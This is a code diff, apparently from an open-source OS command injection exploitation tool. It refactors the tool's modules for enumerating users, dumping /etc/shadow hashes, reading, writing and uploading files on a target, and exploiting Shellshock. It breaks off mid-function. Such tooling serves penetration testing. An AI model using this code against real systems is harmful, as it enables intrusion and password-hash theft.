- warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." - ptint(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass + checks.print_users(sys_users, filename, _) """ System passwords enumeration """ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": - check_option = "--passwords" - checks.unavailable_option(check_option) - pass + cmd = settings.SYS_PASSES + #print(settings.SINGLE_WHITESPACE) + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + _ = True + if output == False: + output = "" + session_handler.store_cmd(url, cmd, output, vuln_parameter) else: - cmd = settings.SYS_PASSES - #print(settings.SINGLE_WHITESPACE) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - _ = True - if output == False: - output = "" - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - sys_passes = output - if sys_passes == "": - sys_passes = " " - if sys_passes : - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split() - if len(sys_passes) != 0 : - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - print(fields[0]) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + fields[0]) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.SHADOW_FILE + "' file." - print(settings.print_warning_msg(warn_msg)) + output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + sys_passes = output + checks.print_passes(sys_passes, filename, _) """ Single os-shell execution @@ -555,13 +263,27 @@ def reset(): if menu.options.users: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) + if settings.TARGET_OS == "win": + info_msg = "Executing the 'net users' command " + info_msg += "in order to enumerate users entries. " + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() if menu.options.passwords: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + if settings.TARGET_OS == "win": + check_option = "--passwords" + checks.unavailable_option(check_option) + else: + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) + system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) reset() # eof diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 625f19e774..af0174c117 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -19,228 +19,113 @@ from src.utils import menu from src.utils import settings from src.utils import session_handler +from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector -from src.core.injections.semiblind.techniques.file_based import fb_injector """ The "tempfile-based" injection technique on Semiblind OS Command Injection. __Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls. """ - -""" -Read a file from the target host. -""" -def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching content of the file: '" - info_msg += file_to_read + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = settings.FILE_READ + file_to_read - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - _ = True - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - if shell: - _ = "Fetched file content" - print(settings.print_retrieved_data(_, shell)) - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the content of the file '" + file_to_read + "'." - print(settings.print_warning_msg(warn_msg)) """ Write to a file on the target host. """ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - print(settings.print_warning_msg(warn_msg)) - raise SystemExit() - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - print(settings.print_warning_msg(warn_msg)) - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - info_msg = "Trying to write the content of the file '" - info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command + file_to_write, dest_to_write, content = checks.check_file_to_write() if settings.TARGET_OS == "win": from src.core.injections.results_based.techniques.classic import cb_injector whitespace = settings.WHITESPACES[0] - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path + cmd = checks.change_dir(dest_to_write) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + content + ">" + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + cmd = checks.win_decode_b64_enc(fname, tmp_fname) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # Delete tmp file - cmd = "del " + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" + cmd = checks.delete_tmp(tmp_fname) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) cb_injector.injection_results(response, TAG, cmd) - # Check if file exists - cmd = "if exist " + filname + " (echo " + filname + ")" - if not menu.options.alter_shell : - cmd = "'" + cmd + "'" - dest_to_write = path + "\\" + filname + # cmd = "if exist " + fname + " (echo " + fname + ")" + # dest_to_write = dest_to_write + "\\" + fname + cmd = checks.check_file(dest_to_write) + if not menu.options.alter_shell: + cmd = checks.quoted_cmd(cmd) else: - cmd = settings.FILE_WRITE + "'" + content + "'" + ">" + "'" + dest_to_write + "'" + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write + cmd = checks.write_content(content, dest_to_write) + cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output shell = "".join(str(p) for p in shell) # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" + cmd = checks.check_file(dest_to_write) if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." - print(settings.print_bold_info_msg(info_msg)) + checks.file_write_status(shell, dest_to_write) + +""" +Read a file from the target host. +""" +def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): + _ = False + cmd, file_to_read = checks.file_content_to_read() + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + _ = True else: - warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'." - print(settings.print_warning_msg(warn_msg)) + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + shell = "".join(str(p) for p in shell) + if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: + print(settings.SINGLE_WHITESPACE) + checks.file_read_status(shell, file_to_read, filename) """ Upload a file on the target host. """ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - if settings.TARGET_OS == "win": - check_option = "--file-upload" - checks.unavailable_option(check_option) - pass - else: - file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - raise SystemExit() - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - info_msg = "Trying to upload the file from '" - info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." - print(settings.print_info_msg(info_msg)) - - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = output - shell = "".join(str(p) for p in shell) - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = output - try: - shell = "".join(str(p) for p in shell) - except TypeError: - pass - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." - print(settings.print_bold_info_msg(info_msg)) - else: - warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'." - print(settings.print_warning_msg(warn_msg)) + cmd, dest_to_upload = checks.check_file_to_upload() + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + shell = "".join(str(p) for p in shell) + cmd = checks.check_file(dest_to_upload) + check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + shell = "".join(str(p) for p in shell) + if settings.VERBOSITY_LEVEL == 0: + print(settings.SINGLE_WHITESPACE) + checks.file_upload_status(shell, dest_to_upload) """ Check the defined options """ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - if menu.options.file_write: file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True - if menu.options.file_upload: - file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + if menu.options.file_read: + file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True - if menu.options.file_read: - file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + if menu.options.file_upload: + if settings.TARGET_OS == "win": + check_option = "--file-upload" + checks.unavailable_option(check_option) + else: + file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) if settings.FILE_ACCESS_DONE == False: settings.FILE_ACCESS_DONE = True + # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index c3a67f2012..3a202c4fcb 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -450,10 +450,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.TARGET_OS == "win": time.sleep(1) - _ = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True : - _ = True while True: message = "Do you want to ignore stored session and enumerate again? [y/N] > " enumerate_again = common.read_input(message, default="N", check_batch=True) @@ -474,12 +472,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, pass else: if menu.enumeration_options(): - _ = True tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False and _ == False: - print(settings.SINGLE_WHITESPACE) - # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : while True: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 1367d0678a..e690061edc 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -178,7 +178,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.TARGET_OS == "win": previous_cmd = cmd if alter_shell: - cmd = "\"" + cmd + "\"" + cmd = cmd = checks.quoted_cmd(cmd) else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" @@ -361,7 +361,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese if settings.TARGET_OS == "win": previous_cmd = cmd if alter_shell: - cmd = "\"" + cmd + "\"" + cmd = cmd = checks.quoted_cmd(cmd) else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 7f7b8d5b21..665a50f84b 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -78,49 +78,23 @@ def shellshock_exploitation(cve, cmd): Enumeration Options """ def enumeration(url, cve, check_header, filename): - - #------------------------------- - # Hostname enumeration - #------------------------------- + _ = False if menu.options.hostname: info_msg = "Fetching hostname." print(settings.print_info_msg(info_msg)) cmd = settings.HOSTNAME shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: - info_msg = "Hostname: " + str(shell) + "." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) + checks.print_hostname(shell, filename, _) settings.ENUMERATION_DONE = True - #------------------------------- - # The current user enumeration - #------------------------------- if menu.options.current_user: info_msg = "Fetching current user." print(settings.print_info_msg(info_msg)) cmd = settings.CURRENT_USER cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) if cu_account: - info_msg = "Current user: " + str(cu_account) + "." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Current user: " + str(cu_account) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch the current user." - print(settings.print_warning_msg(warn_msg)) + checks.print_current_user(cu_account, filename, _) settings.ENUMERATION_DONE = True if menu.options.is_root: @@ -129,22 +103,10 @@ def enumeration(url, cve, check_header, filename): cmd = re.findall(r"" + "\$(.*)", settings.IS_ROOT) cmd = ''.join(cmd).replace("(","").replace(")","") shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - _ = "True" - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - _ = "False" - - info_msg = "Current user has excessive privileges: " + str(_) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - - #------------------------------- - # Retrieve system information - #------------------------------- + if shell: + checks.print_current_user_privs(shell, filename, _) + settings.ENUMERATION_DONE = True + if menu.options.sys_info: info_msg = "Fetching the underlying operating system information." print(settings.print_info_msg(info_msg)) @@ -158,191 +120,27 @@ def enumeration(url, cve, check_header, filename): target_os = target_os + " " + distro_name cmd = settings.RECOGNISE_HP target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) - if target_os and target_arch: - info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - info_msg = "Operating system: " + target_os + "." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Operating system: " + str(target_os) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch underlying operating system information." - print(settings.print_warning_msg(warn_msg)) + checks.print_os_info(target_os, target_arch, filename, _) settings.ENUMERATION_DONE = True - #------------------------------- - # System users enumeration - #------------------------------- if menu.options.users: cmd = settings.SYS_USERS - sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) info_msg = "Fetching content of the file '" + settings.PASSWD_FILE info_msg += "' in order to enumerate users entries. " print(settings.print_info_msg(info_msg)) - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to read the '" - warn_msg += settings.PASSWD_FILE + "'." - ptint(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass + sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) + if sys_users: + checks.print_users(sys_users, filename, _) settings.ENUMERATION_DONE = True - #------------------------------------- - # System password enumeration - #------------------------------------- if menu.options.passwords: + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE + info_msg += "' in order to enumerate users password hashes. " + print(settings.print_info_msg(info_msg)) cmd = settings.SYS_PASSES sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename) if sys_passes : - sys_passes = "".join(str(p) for p in sys_passes) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) - if len(sys_passes) != 0 : - info_msg = "Fetching content of the file '" + settings.SHADOW_FILE - info_msg += "' in order to enumerate users password hashes. " - print(settings.print_info_msg(info_msg)) - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split() - if len(sys_passes) != 0 : - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that 